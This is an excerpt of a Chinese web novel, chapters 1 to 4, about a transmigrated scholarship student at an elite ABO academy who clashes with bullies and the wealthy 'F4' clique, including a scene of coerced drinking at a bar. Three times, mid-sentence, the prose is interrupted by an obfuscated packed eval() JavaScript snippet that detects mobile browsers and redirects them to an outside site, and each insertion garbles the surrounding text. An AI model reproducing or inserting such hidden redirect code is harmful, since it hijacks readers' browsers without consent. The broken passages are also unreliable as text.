《他们说我是贵族学院白月光》 1. 第 1 章 圣维埃学院坐落在城市中心,灰色鹅卵石铺就街道,屹立的建筑多为哥特式风格,尖塔高耸轻盈。似北欧建筑的冷淡风格,整体呈现出一种深沉孤寂的灰色。 窗框雕刻精细,石墙坚固冷硬。 彩色玻璃窗折射出日光,浅浅的太阳光透过玻璃窗射进室内,很快与明亮的白炽光相融。 黑板发出“咣”一声巨响。 一个身着黑色制服的男生被人扯着衣领狠狠掼在黑板上,一刹那的猛烈碰撞让他产生了一瞬的眩晕。 四周忽然静了下来,像是受到某种吸引般,或抬头或侧头地一个个将视线投了过去。 旋即仿佛野兽捕猎般微眯起眼,饶有兴趣地欣赏着这司空见惯的一幕。 如炬的目光重叠让那男生浑身下意识一颤,埋着头一言不发。 “抱歉,打断一下。” 就在这一片寂然当中,突兀的带着天然冷意的声音仿若清泉击石般乍然响起。 声音落下,蕴着诡异意味的空气被骤然打散,轻微的制服摩擦的声音窸窸窣窣。这次就连黑板前的两人都转身投去了眼神。 开口的少年并未在意道道紧紧注视着他的目光,先是不紧不慢地合上书本,这才抬起那张漂亮得惊人的脸,缓声说:“开学典礼九点十分开始。” 先前站在黑板前扯着人衣领的男生微一挑眉,像是被提醒到了一般,撤了力。随意甩甩手腕,旋即抬手看了眼腕表。 九点整。 他嗤笑一声,懒懒散散地张嘴:“既然校花都开口了,那还等什么呢?” 抬眼最后轻瞥一眼那张漂亮的脸,随口招呼:“走吧。” 随着这一声出口,剩下的人像是听见了某种指令,慢悠悠地一个接一个出了门。 校花…… 简令祁用力抿了抿唇,面无表情地将书本整理好,再将一个长方形样式的徽章别在左臂上。 纤长白皙的手指搭在金色徽章上,动作流畅,没几秒就固定好了位置。 他轻吐出一口气,起身出门动作行云流水,却在即将踏出门口时袖口处感受到微弱的拉扯。 “简令祁,”拉住他的人是方才被掼在黑板上的男生,此时紧张地仰头看着他,声音细弱仿佛蚊子似的,“刚才谢谢你。” 他一眨不眨地望着眼前的人。 面对那张淡漠平静、一丝表情也无的漂亮脸庞,他甚至连呼吸都放轻了些,唯恐惊扰到对方。 “不客气,”简令祁顿了一下,“齐非。” 这句回应一瞬间让男生怔住了。 他没想到自己的名字会被记住,耳根霎时间红透,仿佛脑子一刹那失去了思考能力,只会呆呆地盯着对面的人。 直到有人伸手在他面前晃了晃,他才彻底回神,发现简令祁已经出了教室。 夏日的风是裹挟热意的。 简令祁习惯性将外套扣子扣至最上面一颗,看上去板正又严肃,但在这样的天气下,冷白的肌肤不免覆上一层细密汗珠。 一路上不少人盯着他看,他视若无睹,几步快走踏进礼堂。 礼堂开着中央空调,凉爽得和外面简直不像是一个世界。 他并未直接去观众席,反而绕至后台。 礼堂后台空间宽敞,灯光稍显暗淡。 简令祁不着痕迹地打量了下四周,发现此时这里只有一个人在。 “会长。” 简令祁强忍着对这个古早称呼的羞耻尴尬,状似平静地唤了一声。 半倚着墙的男生闻声侧过头来。他戴着黑色皮质手套的手里捏着纸稿,穿着同样有种一丝不苟的感觉,仿佛与空气接触会让他过敏似的。 暗淡的光线打在他轮廓分明的脸上,因立体的五官投下几点阴影。盯着他看了几秒,语气无波无澜:“怎么现在才到?” 简令祁困惑地“嗯?”了一声,道:“我需要很早到吗?” 这也在他的职责范围内吗? 他抬了下胳膊,扫了眼自己左肩上的徽章,明明白白写着“风纪委员”四个字。 如果他没记错的话,学生会今日负责的内容与风纪委员无关吧。 林泊知沉默几秒,以一种下结论的口气命令道:“……下次不要踩点到了。” 简令祁微微耸肩:“行吧。” 思索几秒,他缓步走上前,准备着走到林泊知边上,跟他一块儿倚墙站着。 但他刚一靠近,林泊知像是被踩到尾巴似的,脸色骤变,迅速往旁边挪了几步。 很好。 简令祁深吸一口气,干脆就着这处倚住墙。 “我……”林泊知张了张嘴,像是想解释自己方才的行为。 “我知道你有洁癖,”简令祁快速道,见林泊知看过来,他嘴角扬起一个很浅的弧度,似是安抚,“没事。” 毕竟这和他又没什么关系。 林泊知好似松了口气,重新将心思投入到稿子上,专心默背着即将上台表述的内容。 简令祁嘴角的弧度迅速拉平,看上去冷漠又不近人情。 作为同样即将上台的人,简令祁在兜里摸了摸,却没有在看发言稿,而是掏出一小本英语单词本。随后很自然地开始背诵。 制服口袋不大,只装得下一个小小的单词本。说实话,这种装饰性大于实用性的设计他不太喜欢。 林泊知朝他看了一眼,薄唇微动,想了想,最后什么也没说,继续专心于自己的事。 明晃晃的灯光映在简令祁半边脸上,浅色的瞳孔玻璃珠子似的,盈着淡淡的彩色波光。 他视线落在单词本上,思绪发散开来。 安安静静地想,还有比一出门被车撞,紧接着就来到了另一个世界更倒霉的吗? 简令祁认为……是有的。 当他以为骤然来到一个陌生世界已经是最糟糕的事情的时候,睁开眼环顾四周,再低头看看,抬抬胳膊。 ……很好。 短胳膊短腿,出门都费劲。是个还没多少自主能力的小孩。 再稍一打听。 这居然还是个ABO世界,真的是好新奇的设定……呢。 突然变成四岁小孩的简令祁抱膝坐在床上,吹了一夜冷风才接受现状。 父母双亡,家中只有一个上了年纪却依旧坚持着卖废品养家糊口的奶奶,以及一个整日咿咿呀呀有点傻气的非亲生弟弟。 ……很好。 天崩开局。 但,穿都穿来了。 过了二十多年大少爷生活的简令祁终于发现独立是一件多么必要的事,并且在“四岁”这一年获得了极大的成长。 不过是一边刻苦学习挣奖学金,一边勤恳打工而已……没事的。 然而就在他以为一切步入正轨的时候,奶奶突然重病住院了。 简令祁看着手术费加上一系列的后续治疗费用,静了几秒。 已经成年的简令祁再次抱膝坐在床上吹了一夜冷风,终于做出决定,简单收拾了下自己少得可怜的东西,同意了圣维埃学院的入学邀请。 作为联邦地位最为特别的圣维埃学院,对于特招生的优待诸多,不仅免除学杂费,对于优生的奖励资金更是高得离谱。简令祁就是奔着奖学金来的。 圣维埃不同于其他任何学院,在联邦地位特殊,更是有个独立的学院匿名论坛。 简令祁用自己那部淘汰多年的卡顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213582|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智能机登过一次。 上面的发帖内容云里雾里,总用些莫名其妙的符号数字来代指,叫人很难看懂。 他本着研究的想法看了下去,偶然瞥到F4的代号后,立即关闭了页面,沉默许久。 F4? 这是应该正经出现在学校里的东西吗? 想到这里,简令祁斜眼瞥了下安静背稿的林泊知,心里产生了深深的疑惑,他在论坛上刷到自己F2的名号时真的不会觉得尴尬吗? 林泊知仿佛感受到了他的视线,抬头看向了他。 他的眼神莫名有种晦暗粘稠的意味,眼底藏着点连自己都没注意到的天然的倨傲冷酷,让被他这样看着的人不自禁产生一种被冷血动物盯上的错觉。 和简令祁对视着,他慢条斯理摘下黑色手套,将稿子叠起收好后,一言不发转身上了台。 简令祁收回视线,满不在乎地想,下一个就轮到他发言了吧。 轻叹口气,又垂下头继续背单词。 余光忽然瞥见一个身影。 他随意望了一眼。是有一人进入了后台,大摇大摆的,动静不小。 见到后台有人,那突然出现的人停住脚步,打量起简令祁。 第一眼注意到的是脸,非常漂亮引人注目的一张脸。单是站在那里,便让人移不开视线,仿佛逸散着某种能够吸引别人主动靠近的特殊化学物质。 身形颀长,气质冷感,脸上没什么表情,看上去不太好接近的模样。 他不动声色往漂亮男生的后颈扫了一眼。 没贴阻隔贴,看来是个beta。 在他打量简令祁的时候,简令祁也掀睫随意看了眼他。 灰色卫衣搭浅色牛仔长裤,非主流地染了一头白发,耳垂上缀了颗银色耳钉。 眉压眼,个子挺高,一看就不好惹。 看他穿着不像是圣维埃的学生,但脸又是一副学生样。 简令祁没有给自己找个麻烦的打算,并不在意地垂下眸,继续背单词。 那人率先开口了:“我记得这后面有条道通向观众席,给我带下路。” 没有一丝礼貌可言的对话,以及这人环臂时颐指气使的态度,都让简令祁的回答有种可预见性。 简令祁抬眸,回答:“我不知道。” “你居然不知道吗?” 那人仔细观察着简令祁的表情,没看出丝毫他在说谎的痕迹,便失望地叹了口气。 他实在心烦意乱,于是忍不住和这个刚见一面的人抱怨道:“啊!我今天真是太倒霉了,飞机晚点不说,到学校了还没人来接我,我回到教室才发现今天有开学典礼,我又急忙赶过来……” 简令祁不着痕迹往旁边挪了几步:“……” 怎么这么自来熟?看不出他并不想听吗?能不能不要打扰别人背单词啊? 那人完全没看出简令祁的抗拒,嘴上一刻不停道:“我翻墙进来把衣服也弄脏了,真的好倒霉。还好这一路上没碰到风纪委员,不然再给我记个名字扣上几分,那我肯定就气得睡不着觉了。” 他想着从后台直接绕到观众席去,这样一点也不显眼,不会被校领导发现。 ——否则又要被抓住训上一顿了。 新任风纪委员·简令祁:“……” 那人说着说着,视线忽的飘到简令祁的左肩上,蓦然一顿,话也卡壳了,半晌来了一句:“你是风纪委员?” 简令祁轻“嗯”了一声,随后侧过头,看着那人瞬间怔愣的脸,淡声道:“姓名。” “……时楸亦。” 听见这个名字,简令祁眼睛微眯。 哇哦。 F1出现了。 2. 第 2 章 对于F1居然是话痨人设这件事,简令祁觉得有些新奇。 一般来说,校园恶霸不都该是林泊知这样很会装的形象吗? F1浑然不觉,仍沉浸在被记名字扣了分的懊恼当中,试探性问道:“能放过我吗?我刚回来……” 白发蔫蔫地垂下来,微微张大了眼。但眉眼又隐隐压着股乖戾,显得这话的语气怪怪的,比起为自己求情,更像是一句不咸不淡的威胁。 简令祁抬眼,正要回应,便瞥见不远处不知站了多久的林泊知,正阴沉沉地盯着他。口中的话顿时一转,转过身朝向他问道:“到我了?” 这话其实说的很没必要,明眼人都能看出林泊知下来后就该轮到他上台发言了。 但林泊知因他这句问话,表情显而易见缓和了些:“嗯。” 错身而过后,他细细嗅闻了下空气中残留的浅淡气味,像是清晨阳光暖洋洋的气息混杂着洗衣液的余香,转瞬即逝。 时楸亦终于见到熟悉的人,唇角上扬,几步迎上去。本想着再次复述一遍自己的悲惨遭遇,但方才见到的漂亮面孔一时挥之不去,开口第一句话便是:“刚才那是谁啊?我怎么没见过?是新生吗?” 一连串的问话不间断地吐出,没给林泊知任何反应时间,他又问道:“看制服样式,他应该是特招生吧……特招生怎么进的学生会?和你认识?你破格录取的?还在开学典礼上发言……嗯,他为什么要发言?不是只有学生会长和评选的优秀学生发言吗?……你不会,不是优秀学生了吧……” 林泊知:“……” 他慢条斯理戴上黑色手套,按了按眉心,没想过要回答时楸亦一连串的废话,只是道:“你该去观众席吧。” “是啊是啊,”时楸亦注意力瞬间被分散,点点头,“我想从后面绕过去,但记不清那道门在哪儿了。” 林泊知叹口气:“跟我来吧。” 时楸亦脑袋一歪,笑眯眯夸赞道:“还得是泊知你最可靠!那两个我现在都没见着人影,我真的心寒……” 两人并排走着走着,时楸亦忽然发觉自己旁边空了。 时楸亦:“?” 维持着双手环臂的动作后撤一步,朝驻足的林泊知投去一个迷惑眼神。 林泊知专注盯着侧方,从这个地方刚好可以看清台上全貌,他不想分心:“沿着这条路直走再左转就到了。慢走不送。” 时楸亦没有急着离开,顺着林泊知的视线看去——方才见到的漂亮男生正认真发着言。在这个位置,他甚至能看见少年微微颤动的眼睫。 微冷的声音通过话筒扩散到礼堂的每一个角落,讲话时不紧不慢,即便是这种枯燥乏味的优秀学生发言也莫名有种娓娓道来的意味。 时楸亦不走了。 时楸亦寻了个观影最佳位置站好。 时楸亦收到了林泊知的冷眼。 “怎么?只准你看?”时楸亦挑了下眉。 林泊知瞥他一眼:“没错。” 时楸亦更惊讶了。他只是随口一说,没想到林泊知居然直接就承认了。 这时候简令祁的发言已经接近尾声了。 礼堂空间太大了,若是换个内向点的人站在台上定是会紧张得直抖。 但简令祁不是第一次在这台上发言了,对这种大场面表现得云淡风轻。 即便是在结尾致辞“感谢大家”时,突然有数不清的花束被扔上台,台下一片欢呼起哄的喧嚣,浓烈到近乎刺鼻的花香萦绕鼻尖,他的表情也没有丝毫变化。无视掉繁杂喧闹的声音,按流程鞠躬后径直下了台。 刚一下台,他就深呼吸好几口。 还是新鲜干净的空气好啊! 耶,任务完成。 简令祁准备从后面绕到观众席去,却在半路上撞见F4中两位。 刚有些上扬弧度的嘴角迅速拉直。简令祁礼貌道:“好巧。” 林泊知嘴唇微动,还没出声就被时楸亦打断。 “是呀太巧了!”时楸亦笑眯眯,一副很好接近的阳光开朗大男孩的模样,“你也是去观众席吧,要不一起?” 简令祁:“……” 烦。 * 忙忙碌碌地上完一天课,简令祁坐在凳子上认真收拾书本,手机忽然亮了一下。 他瞥了一眼,备注是“林泊知”,内容简单,仅有“过来”两个字。 他垂下眸,神色有点沉,让人看不出他在想什么,旋即素白手腕一转,将手机翻了个面扣住。 霞光映在玻璃窗上,靓丽色彩投在少年肩上只剩下黑白两色,但玻璃似的瞳孔却收敛了彩光,仿佛熠熠发光。 偌大的空间里,简令祁站着,林泊知双手交叉坐着,微微后仰着看他。 本是一个极为不平等的姿态,但简令祁的眼神太冷了,碎冰似的,看着人时反而显出几分居高临下的傲慢。 “少发善心。” 林泊知没头没尾说了第一句话。 简令祁稍微抬眉,状似不解,做出愿闻其详的表情。 林泊知提醒道:“今天下午,洗手间。” 简令祁想起来了。 当时是下课,他解出压轴题后准备去一趟洗手间,顺便放松下大脑。 看着空无一人时还在奇怪,没几秒后就听见了呜咽的压低的哭声,他循声看了眼,发现是从最里面的隔间传来的。 门外被根棍子别住了,从里面根本打不开。门上还残留着水迹,蜿蜿蜒蜒两三道顺着往下流。 简令祁一瞬就明白了,转身将洗手间大门关上,顺便带上了锁,淡声宽慰:“别哭了,吵。” 那哭声抽噎着滞住,沉默几秒后沙哑道:“对不起……嗯?” 投进光亮的缝隙逐渐变大,抱膝哭着的男生呆呆抬头,仰脸望着逆光出现在自己面前的人,满脸泪痕,情绪还未完全平复好,胸膛还在明显起伏着。 简令祁随手放下方才取下的棍子,看着仍静止不动的人微微蹙眉,神情冷淡:“站不起来了吗?” 男生后颈上覆着纱布。头发大概是被水浇过,发丝柔软地贴在脸颊。 他抬手干脆利落抹去眼泪,踉踉跄跄站起来,久蹲后突然起身的眩晕让他双腿不稳,猛地一头往前扎去。 简令祁冷淡的神色一变,下意识伸手将人抓住。 他反应很快,稳稳抵住男生肩膀,被衬衫外套掩住的胳膊覆着一层漂亮薄肌,因用力而绷出点弧度。眼睛轻眨了下,没有开口。 安静了一会儿后,男生慌忙站好,端正得跟小学生罚站似的,赧然羞愧等情绪一瞬间席卷了他,低头嗫嚅:“对不起……” 从始至终他一共就说了两句话,还全是在道歉。 也始终没抬头,只能看见晕着淤青的额头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213583|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 简令祁收回视线,淡声道:“没事。” 他转过身,像是准备出去。小臂衣袖却被扯住。 男生抬起眸,紧抿着唇,脸泛起薄红:“我以为外面没有人……” 这是在解释他为什么会在洗手间哭出声。 “你可以当作没看见吗?” 男生抬起头,眸色认真。 简令祁看了他几秒,点了头:“好。” “谢谢学长。” 显而易见的,因他这句答话,男生心情迅速放松下来,扬唇笑起来。嘴角的伤口被猛地牵动,让他轻嘶了一声。 他的愉悦心情维持到了打开门看见一伙熟悉的勾肩搭背的男生的那一刻。 ——就是这群人。 他垂在身旁的手紧握成拳。 为首那个正是早上在教室欺负人的男生,扫了他一眼,又戏谑地看向他身旁的简令祁,凑近了些恶劣道:“校花又来做好人好事了?” 云栎目光寸寸扫过简令祁的脸,漂亮得一点瑕疵都没有的脸上一片冰冷,看他时的眼神和看狗似的,好似瞧不上他。可被这样的眼神盯着,他反而浑身炙热起来,心脏不自觉地加快,砰砰直要跳出嗓子眼。 简令祁朝他走近几步,他不自禁喉结上下滚动,带着戏谑笑意的神情也收敛了几分,显出几分紧张的僵硬。 接着,简令祁看也没看他一眼便掠过了他。 云栎眼睛一眯,正要发作,就听见浅浅淡淡一句: “能滚远些吗?” 他转过身,盯着少年停步后半边光洁的侧脸,眸里燃着兴味,alpha的侵略性在这一刻尽显无遗,浓烈的信息素几乎要挣脱阻隔贴的束缚而逸散出来。 但嘴上还是满不在乎道:“哇!校花好……” 他怪模怪样的语气一滞,脖颈被人毫不留手钳住,因呼吸不畅而脸上蕴起一层红,情不自禁想咳嗽却难以达成这个目的,脆弱的咽喉受制掐断了他即将脱口的恶语。 纤长的手一点点收紧,只要再使劲一点,他的脖子就很有可能被折断。而且他毫不怀疑简令祁敢这么做。 他的脸越来越红,像是恐惧,但又更像是兴奋,胸口不正常地起伏着。 简令祁掐住他的脖颈,一如既往地没多少表情,唇形漂亮的唇瓣微微靠近云栎的耳廓,不紧不慢吐字:“云栎,被我打进一次医院不够,你是还想再进一次吗?” 威胁意味十足的话却让手下接触的肌肤泛起一片潮红,血液似乎流动得更快了,能清晰感知到表皮之下的剧烈跳动。 云栎眸光闪烁。 啧。 简令祁烦躁松手,像是碰到了什么脏东西似的,表情不太好看。 视线朝云栎后方探去,落在站在门口没动的小男生身上。唇瓣微启,却稍微顿了一下。 他才想起他还不知道那人的姓名。 “学弟,”简令祁朝他微抬下巴,仍是照旧的冷淡,“不跟上来吗?” 学弟:“啊?” 男生本来死死盯着云栎,脸色难看极了,但被喊了这么一声,仿佛骤然被从翻滚的情绪中拉了出来。 隔着云栎望向简令祁,眼睛明亮。 他深吸一口气,快步跑到简令祁身边。 跟着走了一会儿后小小声补充道:“学长……我叫乔榆。” “嗯,记住了。” 3. 第 3 章 简令祁单手撑在红木方桌上,垂眸看着林泊知,状似不解:“哦?会长这是在为云栎讨回公道吗?” 林泊知因他的靠近浑身僵硬。 手指蜷起微微收拢作拳,皮质手套显出点褶皱,仅与简令祁的右手隔了四指宽的距离。 他的视线不由被搭在桌上色彩对比极强的一抹冷白所吸引。细腻的皮肤羊脂玉似的,中指关节处因常年写字覆着层薄茧,却显得莫名涩.气。 他半晌没有回应,有些愣神。 “怎么不说话?” 简令祁的手突然往前挪了一点,指腹轻轻擦过皮质手套。 隔着层皮革,完全可以忽略不计的触感却让林泊知触电似的迅速缩回手,抬起眼惊魂不定地望着他。 被抽回的手一会儿蜷起一会儿放松,颇有种无所适从的模样。 简令祁的嘴角微不可察勾起了一点,浅色瞳孔盯着人,不走心道:“抱歉,太着急,我忘记你有洁癖了。” 林泊知喉结干涩,沉默好一会儿才干巴巴道:“……没事。” 他按捺住动荡的情绪,声线平稳:“云栎的事……我是担心你和他对上不讨好。既然你不愿我干涉,那就按你的意愿来。” 一鼓作气说完后,他像是在忍着某种不舒服的滋味,声音有点发沉的哑:“你先出去吧。” 这就是简令祁想听见的,完全没有半刻犹豫地与他道别、出门。 他走后房间里只剩下林泊知一人。 林泊知深呼吸几口,起身将门锁住,随后撕下后颈的阻隔贴。 红肿不堪的腺体被暴露在了空气中。 冷松味刹那间弥漫了整个房间,本来应该是淡雅清新仿若置身大自然的味道,却因此刻的过高浓度而叫人难以呼吸到了几近窒息的程度。 换气装置疯狂运作着,置换着房间内的空气。 林泊知翻出一支抑制剂颤抖着手毫不留情扎在脖颈处。拇指推动注射器,将浑浊液体一点一点注入体内。 原先被简令祁的指腹轻轻擦过的手套被他脱了下来,紧攥在另一只手上,近乎痴迷地放在鼻下,嗅闻着根本不存在的味道。 ——完全不像是往日那个不近人情傲慢冷漠的学生会会长。 抑制剂的效果逐渐发作,急促的呼吸缓缓归于平缓。 林泊知重重呼吸几声,将皮质手套捏得更紧,眸色幽深。 想起自己方才疯狂痴迷宛如狗一样的行为,眼中显出一种格外明显的自我厌弃与戾气。 只是被碰了一下手指就…… 林泊知手搭在桌上,神色晦涩不明。 …… 手机亮屏,他扫过一眼。 【木秋:我回国了!好久不见,一定都想我了吧。今晚八点,酒韵见。】 林泊知移开视线,轻闭了下双眼,激荡的情绪将五脏六腑撞了个透,最后终于像信息素一样平息下来。 他没再管红肿的腺体,直接将新的阻隔贴覆在腺体上。 冷松气味来源受阻,换气装置仍兢兢业业工作着,屋内味道迅速散去大半。 林泊知起身,离开时房门被重重关上,独留房间内垃圾桶里安静躺着的一副皮革手套。 * 八点,酒韵。 不同于大厅舞池的昏暗喧嚣,包间大而明亮,厚重的门全然阻隔了外面的火热氛围。 包间内只有四个年龄一般大的男生,看上去干干净净的,完全不像是来酒吧玩的二世祖。 时楸亦手肘搭在单人沙发边上,手上随意玩弄着纸牌,侧头笑道:“都很给我面子嘛,连青染也来了。” 坐在轮椅上的瘦弱男生闻言脸上扬起温温柔柔的笑,浅棕色针织毛衣衬得他像是漫画里走出来的二次元美少年:“太久没见你了,当然得来。” 与其他几人比起来,他穿得有些厚了。按理说,即便是夜里气温降了些,也没有人会在夏天穿毛衣,特别是在另外三人穿了短袖的前提下。 房间里没开空调,只点了香氛。 “对了,学生会那个新来的风纪委员什么来头?”时楸亦耸了下肩,叹口气,无奈道,“林泊知他不告诉我,所以只好来向你们打听了。” 林泊知抿了下唇,对他说的不置可否。 “就……长得特别漂亮那个,认识吗?”时楸亦回想了下,忍不住舔了一下上唇。 “简令祁嘛。”纪莱星散漫搭话,“确实漂亮。” 对上时楸亦饶有趣味的眼神,他补充道:“你没见过正常。二年级转学来的,刚好是你出国这年。一来就直接抢了泊知的第一名,德智体美劳全面发展,这不就把泊知给迷住了,直接把人破格招进了学生会。而且据我所知,圣维埃里追求他的人不少。” 时楸亦好奇道:“你怎么这么了解?” 纪莱星:“因为……” “因为他交往的omega和他分手的理由是——喜欢上简令祁了。” 越青染笑着说完这一句,收到了纪莱星陡然震惊的目光,他满眼写着“你怎么会知道?!” 越青染缓声解释:“上次我写生的时候,刚好撞见他和你说分手。一直没提起这件事也是怕你尴尬。” 纪莱星磨了磨牙。还真是谢谢你啊。 林泊知皱了下眉:“你也认识简令祁?” 越青染双手交叠着放在轮椅的双腿之上,闻言微蜷,面上看不出丝毫异色,温和笑道:“不认识啊。” “青染怎么会认识?”纪莱星道,“他都多久没来过学校了,唉,说起这个我就羡慕!” “倒是你——”纪莱星桃花眼一弯,眼下泪痣在明亮灯光下有些暗淡,咬字时有种自然流露的暧昧。 朝林泊知挪近了点,眨眼:“你不会真陷进去了吧?我承认,他长得是挺漂亮的,但毕竟不是omega,你家里是不可能同意的。说起来,他是不是这学期申请住宿了。你递交住宿申请不会也是为了他吧。” 提到这件事,林泊知脸有些沉了。 他的住宿申请被父母发现后,不出意外被直接驳回了。 “这样!”纪莱星给他出起馊主意,“你朝我说两句好听话,说不定我一开心就去申请住宿了,帮你看着那个漂亮beta。哥们谁跟谁啊,你开口我还能不帮忙吗?” 他带着点恶劣笑道:“圣维埃可是双人寝,指不定哪天就谈上了哦。” 纪莱星头上还有个哥哥,不需要他来继承家业,因此纪家对他完全是放养态度,准则就是只要他开心就好活着就好。 还没等林泊知拒绝,时楸亦先开了口。 “换你去?”时楸亦上下打量男女友换了无数的纪莱星,感到好笑,实话实说,“让你挖墙脚就比别人更好了吗?” 纪莱星感觉自己的清白受到了侮辱,立马转向林泊知澄清道:“你是知道我的,我向来都只对omega感兴趣的,怎么可能看得上beta?” “行了。”林泊知及时制止他们二人的斗嘴,极其平静道,“我不喜欢他。” “我的未来伴侣只会是omega。” 他的话没有引起任何人的惊讶。 像林泊知这种优绩主义者,阶级意识强得出奇。能看见他和特招生说话就已经是一件值得震惊的事情了,更别提是和一个beta特招生交往——这简直就是天方夜谭! 林泊知往旁边扫了眼,视线落在搁在轮椅上:“说起来,你准备多久复学?” 蓦然提起此事,越青染笑容一滞,沉默一会儿转移目光看向桌子,僵硬且明显地扯开话题:“我好渴,这儿怎么连茶水也没有?” 纪莱星笑了一声,夸张道:“不是吧,来酒吧你还喝茶水?” 越青染看着空荡荡除了装纸牌的盒子什么也没有的桌子,眼里明晃晃写着——那也得有别的喝啊。 纪莱星道:“我点了酒,应该快了。” 刚说到这里,门就被叩响了。 两个穿着侍应生服饰的男生端着酒低头走进来。 纪莱星莫名其妙发出声轻笑。 时楸亦随之看去,在看见隐在碎发下的夺目长相时视线定住,旋即也眯起眼。勾起唇角,大大方方打了个招呼:“简——令祁。好巧,又在这里遇到了!” 他眸里亮着光,仿佛真的是在为这份特别的缘分而高兴。 简令祁不着痕迹扫过或坐着或站着的四人,心想,又有麻烦事了。 果不其然,下一秒时楸亦就热情招呼:“要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14213584|151124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不留下喝一杯再走吧。……相逢即是缘嘛。” 一头嚣张白发的男生浑身散发着股混不吝的气场,勾唇时看似在笑,眼中却意味不明,毫不掩饰上下打量的意图。 简令祁身旁站着的小男生立即戒备起来,抿起唇,轻轻扯了下简令祁的袖口,朝他轻轻摇了下头。 显然谁都能看出这绝不是什么带着善意的邀请。 简令祁也想拒绝,可那人根本没给他说话的机会,手上动作不停,随意洗着牌,一边含笑看他:“好歹也给我扣了分,我当时都没计较呢。现在不会连这点面子都不给吧。” 清冷漂亮的少年穿着侍应生统一制服,轻薄的白色衬衫勾出青涩的肌肉线条,领口偏低,俯身时能看见漂亮白皙的锁骨,干干净净什么痕迹也没有。 四人都抬眸看着他,他仿佛被目光锁定的猎物一般,站在视线交汇处。 他静了几秒,像是清楚自己现在的处境了,清凌凌的声音压低朝身旁人说:“你先出去吧。” 小男生紧张地望着他,眸里满是快要溢出来的担忧:“真的没事吗?” “没事。” 纪莱星舌尖抵了抵,将那些对话尽收耳底,突然有点不爽。 小男生将盘子放下后出去了,简令祁不紧不慢将一瓶瓶酒从盘中移到大理石桌上。 始终端端坐着的林泊知这时开口了,声音一如既往带着股矜傲:“你在这儿兼职?” 简令祁轻“嗯”一声。 林泊知皱眉:“为什么?——酒韵很乱。” 简令祁把最后一瓶也放好了,平静抬头:“缺钱。” 会让大多数人难堪的两个字被他说的平平淡淡。 “哦,缺钱啊?”纪莱星这下来了兴致,眨着那双多情缱绻的眼。 俯身,指节微一用力,一瓶烈酒被他往前推了推,嘴上理所当然,“那我们身为同学,肯定不能坐视不管啊。” 桃花眼含着暧昧情意注视着漂亮少年,说出的话却令人心生寒意,“把这瓶喝了,这桌酒的提成就都算你的。” 他推出的那瓶酒度数挺高,价格也不低,起码也得五个数。 明亮白光落在玻璃似的浅色眸子上,没有倒映出任何情绪。简令祁婉拒:“抱歉,我还要工作,不能喝醉。” 纪莱星惋惜地叹了口气,表现得非常遗憾却也能够理解。垂下眸,手指掠过重重酒瓶,最后停在一瓶没多少度数的红酒上。 握住瓶身,开瓶时动作利落帅气。 拿着酒瓶缓缓踱步到简令祁身边。像对待情人般凑拢,咬字暧昧:“那这瓶呢?” 简令祁耳朵不自然地微动,眉眼压着冷意。 他现在极其想把酒瓶夺过来直接砸在纪莱星头上。 但理智最终还是压下了烦躁。 他一一看过坐着的那三人。 林泊知平静地看着这一幕发生,像个完完全全的局外人,眸色傲慢冷漠。 时楸亦作为整件事情的罪魁祸首,笑眯眯地注视着他们,兴致勃勃的模样仿佛是在看热闹。 越青染坐在轮椅上,脸上保持始终未变的温柔神情,发丝柔软贴在耳侧,见他瞥来还冲他微笑了一下。 ……他认识到一个事实——在场的人对接下来会发生的事,都至少抱有一丝期待。 面对着客人的刻意为难,简令祁睫毛微颤,沉默接过红酒,不再费力找由头推脱:“喝完就行吗?” 纪莱星眸里倒映着他的面孔,弯眼道:“对啊。” 简令祁不再多说,对嘴仰头喝下,喉结一下下地滚动。碎发微微挡住视线,他半垂着眸吞咽着入口的酒水。 纪莱星看得喉头一紧,自己都没反应过来时手已经搭在简令祁的后脑勺处了。 这有点像接吻前的准备姿势。 林泊知这下总算坐不住了,脸上神情一瞬沉下来,骤然站起了身。甚至因为动作幅度太大而撞在沙发上发出“嘭”的一声闷响。 然而,下一秒,那只搭在后脑勺的手就从亲昵改为了扯拽的动作,用力攥住了黑发,旋即往后一扯。 头皮被扯动传来的细密疼痛让简令祁骤然抬眸。玻璃球似的眼眸冷冷盯着与自己仅有一步之遥、正恶劣笑着的男生。 4. 第 4 章 包间里安静寂然,白炽光将屋内照得明亮一片,黑暗无所遁影。 “喝得太慢了啦,”纪莱星似是感慨说了这么一句。 就在简令祁被酒精侵蚀的脑子还在慢半拍思索着他这句话用意的时候,他另一只手已经托住酒瓶底,强硬地将抬高了些。尾音含笑:“我来帮帮你吧。” 